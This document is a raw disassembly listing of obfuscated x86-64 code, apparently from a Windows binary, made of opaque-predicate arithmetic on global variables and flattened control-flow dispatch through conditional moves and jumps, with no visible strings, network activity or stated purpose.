mov eax, dword [0x140265728]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x7f03f11
and eax, ecx
not ecx
and ecx, 0x7f03f11
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x28979b50
and eax, 0xd76864af
or eax, ecx
mov ecx, eax
xor ecx, 0xd0985bbe
mov edx, eax
xor edx, 0xd0985bbf
and edx, ecx
xor eax, 0x2f67a440
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xd4ea023f
and edx, ecx
not ecx
and ecx, 0xb67c0a35
and eax, 0x4983f5ca
or eax, ecx
mov ecx, eax
xor ecx, 0x20000
xor eax, 0x94680235
or eax, 0x2b15fdc0
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0x7388b5aa
and ecx, 0x84620215
or ecx, ebx
or eax, ebp
and ebp, 0x7388b5aa
and edx, 0x8c774a55
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x2b15fdc0
and eax, 0xd4ea023f
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xdc85e37e
and eax, 0x237a1c81
or eax, edx
xor eax, 0xdc85e37e
xor ecx, eax
test ecx, eax
setne cl
sete r8b
cmp dword [0x140265724], 0xa
setl bl
mov eax, r8d
xor al, cl
and al, r8b
xor al, bl
xor al, 1
xor cl, bl
mov edx, ebx
and dl, r8b
xor bl, r8b
or bl, dl
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
mov ecx, ebx
xor cl, 1
and cl, bl
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x24ade8b6
mov ebp, 0x5ee12e35
cmovne eax, ebp
test dl, 1
mov edx, 0x24ade8b6
cmovne edx, eax
test cl, 1
jmp 0x1400cc3ac
mov eax, dword [0x140265728]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x984c1c
and ecx, 0x10002001
or ecx, eax
mov ebp, ecx
xor ebp, 0x10000001
xor ecx, 0x27324d22
or edx, 0x10986c1d
mov eax, edx
not eax
and ecx, 0x27326d22
and ebp, 0x1088001d
or ebp, ecx
and edx, 0x27326d22
and eax, 0xc84592c0
or eax, edx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0x88b46d70
and eax, 0x774b928f
or eax, ecx
mov ecx, eax
xor ecx, 0x67d3fe92
mov edx, eax
xor edx, 0x67d3fe93
and edx, ecx
xor eax, 0x982c016c
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0xc0fa515f
and edx, 0x3f05aea0
or edx, ebx
or eax, ebp
and ebp, 0xc0fa515f
and ecx, 0x3f05aea0
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x8e00144c
mov edx, eax
and edx, 0x41a2
or edx, ecx
xor edx, 0x41a2
and eax, 0x71ffaa11
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xaae97dc8
and eax, 0x55168237
or eax, ecx
xor eax, 0xdb16d7d9
sete al
setne cl
cmp dword [0x140265724], 0xa
setl bl
xor cl, bl
xor cl, 1
mov edx, ebx
or dl, al
xor dl, 1
or dl, cl
xor bl, al
mov eax, edx
xor al, bl
xor bl, 1
or bl, dl
mov ecx, eax
xor cl, bl
test al, al
mov eax, 0x8ff922e1
mov edx, 0x8f41b7b6
cmovne eax, edx
test bl, bl
cmovne eax, edx
not cl
test cl, 1
mov ecx, 0x8ff922e1
jmp 0x1400ca6e6
mov ecx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x1d2be39b
mov ecx, ebp
and ecx, 0xe2d41c64
or ecx, ebx
mov ebx, ecx
xor ebx, 0xe0000804
xor ecx, 0x8821a
mov edx, ebp
xor edx, 0xe2488a3e
and edx, ebp
or ecx, 0x1db775c1
mov esi, edx
not esi
mov eax, ecx
and eax, 0x16f67278
and ebx, 0xe0088806
or ebx, eax
or ecx, esi
and esi, 0x16f67278
and edx, 0xe9098d87
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x1db775c0
and ecx, 0xe2488a3f
or ecx, eax
mov eax, ecx
not eax
and edi, 0xfa4c8910
and ebp, 0x5b376ef
or ebp, edi
mov edx, ebp
xor edx, 0x806449
xor ebp, 0xfa4c8910
mov ebx, ecx
and ebx, 0xed3792b6
and eax, 0x12c86d49
or eax, ebx
or ecx, ebp
and ebp, 0xed3792b6
and edx, 0x12c86d49
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne r9b
sete r10b
cmp r8d, 0xa
setl r11b
cmp r8d, 9
setg al
mov ebx, r10d
or bl, al
mov ecx, r10d
xor cl, al
not cl
and cl, al
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
and r9b, r11b
or r11b, r10b
and al, r10b
or al, r9b
xor al, 1
mov edx, r11d
xor dl, al
or al, r11b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov r8d, ecx
xor r8b, 1
mov r9d, ecx
and r9b, r8b
and al, dl
mov ebx, r9d
xor bl, 1
xor r9b, cl
or bl, r8b
xor bl, 1
or bl, r9b
mov r8d, eax
and r8b, dl
xor al, dl
or al, r8b
mov r8d, ebx
xor r8b, 1
and r8b, al
xor al, 1
and al, bl
or al, r8b
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x891aa317
mov ebp, 0x1d51cc91
cmovne edx, ebp
test al, 1
cmove edx, ebp
test cl, 1
mov eax, 0x891aa317
jmp 0x1400cc3ac
mov ecx, 0x6faf54c4
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov r8b, byte [rsp + 0x2e]
mov al, byte [rsp + 0x2f]
mov edx, eax
xor dl, 1
mov ecx, r8d
xor cl, 1
and dl, cl
mov ebx, r8d
and bl, al
or bl, dl
mov edx, ebx
xor dl, cl
and dl, bl
xor cl, al
xor cl, 1
and cl, al
xor al, r8b
and al, r8b
xor cl, 1
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
xor al, dl
mov ebx, eax
xor bl, 1
and bl, dl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0xcd9cce98
mov eax, 0x13f12a00
cmovne ecx, eax
test bl, 1
mov ebp, 0xcd9cce98
cmove ecx, ebp
jmp 0x1400cc4e1
mov ecx, 0x9a39877e
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, 0xc48bcf46
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, 0xb6a60356
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov edx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x5f41ba6e
mov edx, ebp
and edx, 0xa0be4591
or edx, ebx
mov ebx, edx
xor ebx, 0x9c0490
xor edx, 0x5f41ba6e
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
or edx, 1
mov esi, ecx
not esi
mov eax, edx
and eax, 0xf123594d
and ebx, 0xedca6b2
or ebx, eax
or edx, esi
and esi, 0xf123594d
and ecx, 0xedca6b2
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
and edi, 0x66ab41f2
and ebp, 0x9954be0d
or ebp, edi
mov eax, ebp
xor eax, 0x1104220d
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xced3ddd2
and edx, 0x312c222d
or edx, ebx
xor ebp, 0x468341d2
and ebp, 0xced3ddd2
and eax, 0x312c222d
or eax, ebp
xor eax, edx
xor ecx, eax
test ecx, eax
setne r9b
sete r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
mov edx, r10d
xor dl, bl
mov eax, edx
and al, r10b
and dl, bl
mov r8d, eax
and r8b, dl
xor dl, al
or dl, r8b
and r9b, bl
or bl, r10b
xor bl, 1
and cl, r10b
or cl, r9b
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
not al
mov ebx, edx
xor bl, 1
and al, bl
or bl, cl
and cl, dl
or cl, al
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x7ab4b259
mov ebp, 0xa57bc2ae
cmovne ecx, ebp
test bl, bl
mov edx, 0x7ab4b259
cmovne ecx, edx
test al, 1
cmove ecx, ebp
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov eax, dword [0x140265728]
mov ecx, dword [0x140265724]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0x3bfca17b
mov edx, ebx
xor edx, 0x3bfca17b
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0x5475be43
and edx, 0xab8a41bc
or edx, ebp
mov ebp, edx
xor ebp, 0x1026c004
xor edx, 0x6f891f39
mov edi, edx
and edi, 0x83d13afb
and ebp, 0x7c2ec504
or ebp, edi
and ebx, 0x83d13afb
and eax, 0x7c2ec504
or eax, ebx
xor eax, ebp
not eax
or eax, edx
cmp eax, 0xffffffff
sete r8b
setne bl
cmp ecx, 0xa
setl al
cmp ecx, 9
setg r9b
mov ecx, ebx
xor cl, r8b
and cl, bl
mov edx, ecx
xor dl, 1
and dl, cl
mov r10d, edx
and r10b, cl
xor dl, cl
or dl, r10b
xor dl, r9b
xor dl, 1
and r9b, r8b
and bl, al
or bl, r9b
mov ecx, eax
xor cl, r8b
and al, r8b
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
mov r8d, ecx
and r8b, bl
xor cl, bl
or cl, r8b
xor cl, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0xbe0ff861
mov ebp, 0x64bd0e50
cmovne eax, ebp
test cl, 1
cmovne eax, ebp
not dl
test dl, 1
mov ecx, 0xbe0ff861
cmove eax, ecx
jmp 0x1400cbd13
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x335e45d3
and ecx, 0xcca1ba2c
or ecx, edx
mov edx, ecx
xor edx, 0x335e45d3
mov ebp, ecx
xor ebp, 0x335e45d2
and ebp, edx
xor ecx, 0x44013024
and ecx, 0x470d3524
and edx, 0xb8f2cadb
or edx, ecx
xor edx, 0xb8f2cada
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
or ebx, 0xb19af650
mov ecx, ebx
not ecx
or edx, 0x4840010b
and edx, 0x6840d70b
and ebp, 0x919a2050
or ebp, edx
and ebx, 0x6840d70b
and ecx, 0x62508a4
or ecx, ebx
xor ecx, ebp
mov edx, ecx
not edx
and edx, 0xfd5ee1d4
and ecx, 0x2a11e2b
or ecx, edx
mov edx, ecx
xor edx, 0x221e81a
xor ecx, 0x4c801404
and edx, 0x265eb9a
and ecx, 0xfd9a1465
or ecx, edx
xor ecx, 0x265eb9a
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
xor bl, r8b
mov edx, eax
and dl, cl
mov r8d, eax
and r8b, dl
xor dl, al
or dl, r8b
xor dl, bl
mov eax, ecx
xor al, bl
or bl, cl
xor bl, 1
or bl, al
mov eax, edx
xor al, bl
not al
test al, 1
mov eax, 0x55dfc6fa
mov ecx, 0x8b468a20
cmovne eax, ecx
test bl, 1
mov ecx, 0x55dfc6fa
cmovne ecx, eax
jmp 0x1400cc4e1
mov ecx, 0x8ff922e1
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, 0xf8f458e2
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, 0x6c93dcfa
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
or ebx, 0x7ce04d42
mov ecx, ebx
not ecx
or edx, 0x831922b9
and edx, 0xa73922b9
and ebp, 0x58c04d42
or ebp, edx
and ebx, 0xa73922b9
and ecx, 0x69004
or ecx, ebx
xor ecx, ebp
mov edx, ecx
not edx
and edx, 0x831fb2bd
and ecx, 0x7ce04d42
or ecx, edx
mov esi, ecx
not esi
mov ebp, ecx
or ebp, 0x7e304b1a
mov edi, ebp
not edi
mov ebx, esi
or ebx, 0x81cfb4e5
mov edx, ebx
not edx
and ebp, 0xe491ba8d
and edi, 0x14e0460
or edi, ebp
and ebx, 0xe491ba8d
and edx, 0x1a204112
or edx, ebx
xor edx, edi
mov ebp, edx
not ebp
and ebp, 0xf7964927
and edx, 0x869b6d8
or edx, ebp
xor edx, 0x89a6023c
and esi, 1
xor ecx, 0xfffffffe
or ecx, esi
mov ebp, ecx
not ebp
and ebp, 0x68ec61dc
and ecx, 0x97139e23
or ecx, ebp
xor ecx, 0x97139e23
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x3ef2ef22
and ecx, 0xc10d10dd
or ecx, edx
mov edx, ecx
not edx
and edx, 0xc10d10dd
and ecx, 0x3ef2ef22
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x4941242d
and ecx, 0xb6bedbd2
or ecx, ebp
xor ecx, 0xb6bedbd2
or ecx, edx
cmp ecx, 0xffffffff
setne r9b
sete r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r10b
mov edx, r10d
xor dl, cl
and dl, r10b
mov eax, edx
xor al, 1
mov ebx, edx
and bl, al
mov r11d, ebx
and r11b, dl
xor bl, dl
or bl, r11b
or al, dl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, r8d
and dl, al
not al
and al, r9b
or al, dl
and r9b, cl
and r10b, r8b
or r10b, r9b
mov edx, ecx
and dl, r8b
xor cl, r8b
or cl, dl
xor cl, 1
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov edx, ecx
not dl
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
and al, dl
or cl, al
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0x2e23b315
mov edx, 0xf77c741d
cmovne ecx, edx
test bl, bl
mov ebp, 0x2e23b315
cmove ecx, ebp
test al, 1
cmovne ecx, edx
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, 0x6ec2e9ec
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, 0x2e16b319
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, 0xd16076aa
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov ebx, ebp
xor ebx, 0xfffffffe
and ebx, ebp
mov edx, ebp
or edx, 1
mov edi, ebx
not edi
mov esi, edx
and esi, 0x4b9392e5
mov eax, ecx
and eax, 0xb46c6d1a
or eax, esi
or edx, edi
and edi, 0x4b9392e5
and ebx, 0xb46c6d1a
or ebx, edi
xor ebx, eax
not edx
or edx, ebx
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0x3f7e717b
and edx, 0xc0818e84
or edx, eax
and ebp, 0x3f7e717b
and ecx, 0xc0818e84
or ecx, ebp
xor ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
sete cl
setne dl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg bl
and dl, bl
mov eax, r9d
and al, cl
or al, dl
xor al, 1
or al, bl
mov r8d, eax
xor r8b, 1
xor bl, cl
not bl
and bl, cl
xor cl, r9b
and cl, r9b
mov edx, ebx
xor dl, 1
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and r8b, al
mov ebx, edx
and bl, cl
mov r9d, eax
and r9b, r8b
xor r8b, al
or r8b, r9b
mov r9d, edx
xor r9b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r9b
mov ecx, r8d
xor cl, 1
and cl, bl
xor bl, 1
and bl, r8b
or bl, cl
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x33fd0ebd
mov ecx, 0xd2560d35
cmovne eax, ecx
test dl, 1
mov ecx, 0x33fd0ebd
jmp 0x1400cc8ce
mov eax, dword [0x140265728]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
not ecx
or eax, 1
mov ebp, eax
not ebp
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xfae61027
and ebp, 0x519efd8
or ebp, edi
or eax, ebx
and ebx, 0xfae61027
and edx, 0x519efd8
or edx, ebx
xor edx, ebp
not eax
or eax, edx
mov edx, eax
not edx
and edx, 0x9e21b051
and eax, 0x61de4fae
or eax, edx
xor eax, 0x61de4fae
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xe6aec5e1
and eax, 0x19513a1e
or eax, ecx
xor eax, 0x19513a1e
sete al
setne dl
cmp dword [0x140265724], 9
setg r8b
mov ebx, edx
xor bl, r8b
and dl, bl
xor al, r8b
and al, r8b
mov r9d, eax
and r9b, bl
xor al, bl
and bl, r8b
xor dl, 1
xor bl, 1
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
or bl, cl
or al, r9b
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, bl
mov edx, eax
xor dl, 1
and bl, dl
xor dl, bl
test al, 1
mov ecx, 0x32523743
mov eax, 0x743175f1
cmovne ecx, eax
test bl, 1
mov ebp, 0x32523743
cmove ecx, ebp
jmp 0x1400cc68f
mov rsi, qword [rsp + 0x38]
mov edx, dword [0x140265728]
mov ecx, dword [0x140265724]
lea ebp, [rdx - 1]
imul ebp, edx
mov edx, ebp
not edx
mov edi, ebp
xor edi, 0xfffffffe
and edi, edx
and ebp, 0x5469f314
and edx, 0xab960ceb
or edx, ebp
mov ebx, edi
not ebx
mov ebp, ebx
and ebp, 0xd6544a9b
and edi, 0x29abb564
or edi, ebp
mov ebp, edx
xor ebp, 0x29820460
xor edx, 0x5469f315
or ebx, edx
and edx, 0xd6544a9b
and ebp, 0x29abb564
or ebp, edx
xor ebp, edi
not ebx
or ebx, ebp
mov edx, ebx
xor edx, 0x14a208d9
and edx, ebx
not ebx
and ebx, 0x14a208d9
mov ebp, ebx
and ebp, edx
xor edx, ebx
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xc2633d49
and edx, 0x3d9cc2b6
or edx, ebp
mov ebp, edx
xor ebp, 0x21344846
xor edx, 0xc0410580
and edx, 0xc84b87a9
and ebp, 0x37b47856
or ebp, edx
mov edx, ebp
xor edx, 0x11244800
xor ebp, 0x88008320
and ebp, 0xae90b376
and edx, 0x516f4c89
or edx, ebp
mov ebp, edx
xor ebp, 0xaa108070
xor edx, 0x114d4c81
and edx, 0x15cd7f87
and ebp, 0xea328078
or ebp, edx
xor ebp, 0xea328078
sete al
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
xor cl, al
xor cl, 1
mov edx, eax
xor dl, bl
and bl, al
or bl, dl
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ebx
xor al, 1
and al, bl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0xd6e81e86
mov eax, 0x40ae724a
cmovne ecx, eax
test dl, 1
mov r15d, 0x40ae724a
cmove ecx, eax
mov qword [0x140265060], rsi
test bl, 1
mov eax, 0xd6e81e86
jmp 0x1400cc8d4
mov ecx, 0x4f84e66e
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0x5ae04cb1
mov edx, edi
and edx, 0xa51fb34e
or edx, ebp
mov ebp, edx
xor ebp, 0xa5089108
xor edx, 0x5ae04cb0
mov ebx, edi
xor ebx, 0xfffffffe
and ebx, edi
or edx, 1
mov esi, ebx
not esi
mov eax, edx
and eax, 0x42772256
and ebp, 0xbd88dda8
or ebp, eax
or edx, esi
and esi, 0x42772256
and ebx, 0xbd88dda9
or ebx, esi
xor ebx, ebp
not edx
or edx, ebx
mov eax, edx
not eax
mov ebp, eax
and ebp, 0x8f829d8e
and edx, 0x707d6271
or edx, ebp
and edi, 0x8f829d8e
and ecx, 0x707d6271
or ecx, edi
xor ecx, edx
xor eax, ecx
test eax, ecx
setne bl
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg dl
xor cl, bl
xor bl, dl
xor cl, 1
or cl, dl
mov edx, ebx
xor dl, 1
mov eax, ebx
and al, dl
mov r8d, eax
and r8b, bl
xor al, bl
or al, r8b
mov r8d, eax
and r8b, cl
mov ebx, ecx
and bl, dl
xor dl, cl
xor cl, 1
xor al, 1
and al, cl
or al, r8b
or dl, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x77d3711e
mov ebp, 0xd094081a
cmovne ecx, ebp
test dl, dl
mov edx, 0x77d3711e
cmovne edx, ecx
test al, 1
cmove edx, ecx
jmp 0x1400cc3af
mov ecx, 0x657ed416
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov eax, dword [0x140265728]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xdd25413e
and ecx, 0x22dabec1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x22dabec1
and ecx, 0xdd25413e
or ecx, eax
mov edx, ecx
xor edx, 1
and edx, ecx
mov eax, ecx
not eax
and eax, 0x9180b6da
and ecx, 0x6e7f4925
or ecx, eax
mov ebp, ecx
xor ebp, 0x4a4b0900
mov eax, edx
not eax
xor ecx, 0x9180b6db
mov ebx, eax
and ebx, 0xb5b4e0f4
and edx, 0x4a4b1f0b
or edx, ebx
or eax, ecx
and ecx, 0xb5b4e0f4
and ebp, 0x4a4b1f0b
or ebp, ecx
xor ebp, edx
not eax
or eax, ebp
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x9911c53e
and ecx, eax
and eax, 0x66ee3ac1
or eax, edx
mov edx, eax
xor edx, 0x60023ac0
xor eax, 0x9911c53e
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0x8fed4417
and edx, 0x7012bbe8
or edx, ebx
or eax, ebp
and ebp, 0x8fed4417
and ecx, 0x7012bbe8
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x53cc3da7
and eax, 0xac33c258
or eax, ecx
mov ecx, eax
xor ecx, 0x80210210
xor eax, 0x518c3082
and eax, 0x7d9ef0ca
and ecx, 0x82610f35
or ecx, eax
xor ecx, 0x82610f35
sete dl
setne r8b
cmp dword [0x140265724], 0xa
setl al
mov ebx, eax
xor bl, r8b
xor bl, 1
mov ecx, eax
or cl, dl
xor cl, 1
or cl, bl
or r8b, al
xor dl, al
and dl, al
mov eax, r8d
xor al, dl
xor dl, 1
xor al, 1
or dl, r8b
xor dl, 1
or dl, al
mov ebx, edx
xor bl, 1
mov eax, edx
and al, bl
mov r8d, eax
and r8b, dl
xor al, dl
or al, r8b
mov r8d, eax
and r8b, cl
xor bl, cl
xor cl, 1
xor al, 1
and al, cl
or al, r8b
or dl, cl
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0x859a1089
mov edx, 0x70b5b772
cmovne ecx, edx
test al, 1
cmove ecx, edx
test bl, 1
mov eax, 0x859a1089
jmp 0x1400cc8d4
mov ecx, 0x6bd0980b
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov edx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x61332605
mov edx, ebp
and edx, 0x9eccd9fa
or edx, ebx
mov ebx, edx
xor ebx, 0x9e840170
xor edx, 0x61332604
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
or edx, 1
mov esi, ecx
not esi
mov eax, edx
and eax, 0x215bda8e
and ebx, 0xdea42570
or ebx, eax
or edx, esi
and esi, 0x215bda8e
and ecx, 0xdea42571
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
mov ecx, edx
and ecx, 0xdf91bd43
and eax, 0x206e42bc
or eax, ecx
or edx, ebp
and ebp, 0xdf91bd43
and edi, 0x206e42bc
or edi, ebp
xor edi, eax
not edx
or edx, edi
cmp edx, 0xffffffff
sete r10b
setne bl
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl cl
mov eax, ebx
xor al, r10b
and al, bl
mov ebx, eax
xor bl, 1
and al, bl
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
xor dl, 1
and dl, al
or al, cl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, r9d
xor dl, r10b
and dl, r9b
xor cl, r10b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov r8d, eax
xor r8b, 1
mov r10d, r8d
mov ebx, ecx
xor r8b, cl
xor cl, 1
and r10b, al
and bl, cl
xor r10b, 1
mov r9d, eax
xor r9b, r10b
or r10b, al
xor r10b, 1
or r10b, r9b
xor bl, 1
mov r9d, ecx
xor r9b, bl
or bl, cl
xor bl, 1
or bl, r9b
mov edx, r10d
xor dl, 1
and dl, bl
xor bl, 1
and bl, r10b
or bl, dl
or cl, al
xor cl, 1
or cl, r8b
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0xf8f458e2
mov edx, 0xd10f0aed
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0xf8f458e2
jmp 0x1400cc8d4
mov ecx, dword [0x140265728]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
and ecx, 0xdbefa26d
and eax, 0x24105d92
or eax, ecx
mov ecx, eax
xor ecx, 0x24105d92
mov edi, eax
xor edi, 0xdbefa26d
mov ebp, edi
and ebp, 0x5fd84cfb
xor eax, 0x7bc81169
and eax, ecx
mov ebx, ebp
and ebx, eax
xor eax, ebp
or eax, ebx
mov ebp, eax
not ebp
and ebp, 0xa027b305
and eax, 0x5fd84cfa
or eax, ebp
and ecx, 0x9c77f7c6
mov edx, edi
and edx, 0x63880839
or edx, ecx
xor edx, 0x9c77f7c7
and edi, 1
or edi, edx
mov edx, edi
not edx
mov ecx, eax
not ecx
mov ebp, ecx
and ebp, 0xfa65ec6c
and eax, 0x59a1393
or eax, ebp
or ecx, edi
and edi, 0xfa65ec6c
and edx, 0x59a1393
or edx, edi
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0xf5adf55d
and eax, ecx
and ecx, 0xa520aa2
or ecx, edx
xor ecx, 0xa520aa2
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x6dad931d
and ecx, 0x92526ce2
or ecx, edx
xor ecx, 0x6dad931d
xor eax, ecx
test eax, ecx
sete al
setne cl
cmp dword [0x140265724], 9
setg bl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
xor al, bl
mov ebx, eax
xor bl, 1
and dl, al
and bl, cl
or bl, dl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov edx, eax
xor dl, bl
test al, al
mov ecx, 0xed754914
mov eax, 0x18ba0462
cmovne ecx, eax
test bl, bl
cmove ecx, eax
not dl
test dl, 1
mov eax, 0xed754914
jmp 0x1400cc4e4
mov ecx, 0xcd1a8f77
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, 0xde89bb41
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x9f4aa8ab
and edx, ecx
and ecx, 0x60b55754
or ecx, ebp
mov ebp, ecx
xor ebp, 0x60015240
xor ecx, 0x9f4aa8ab
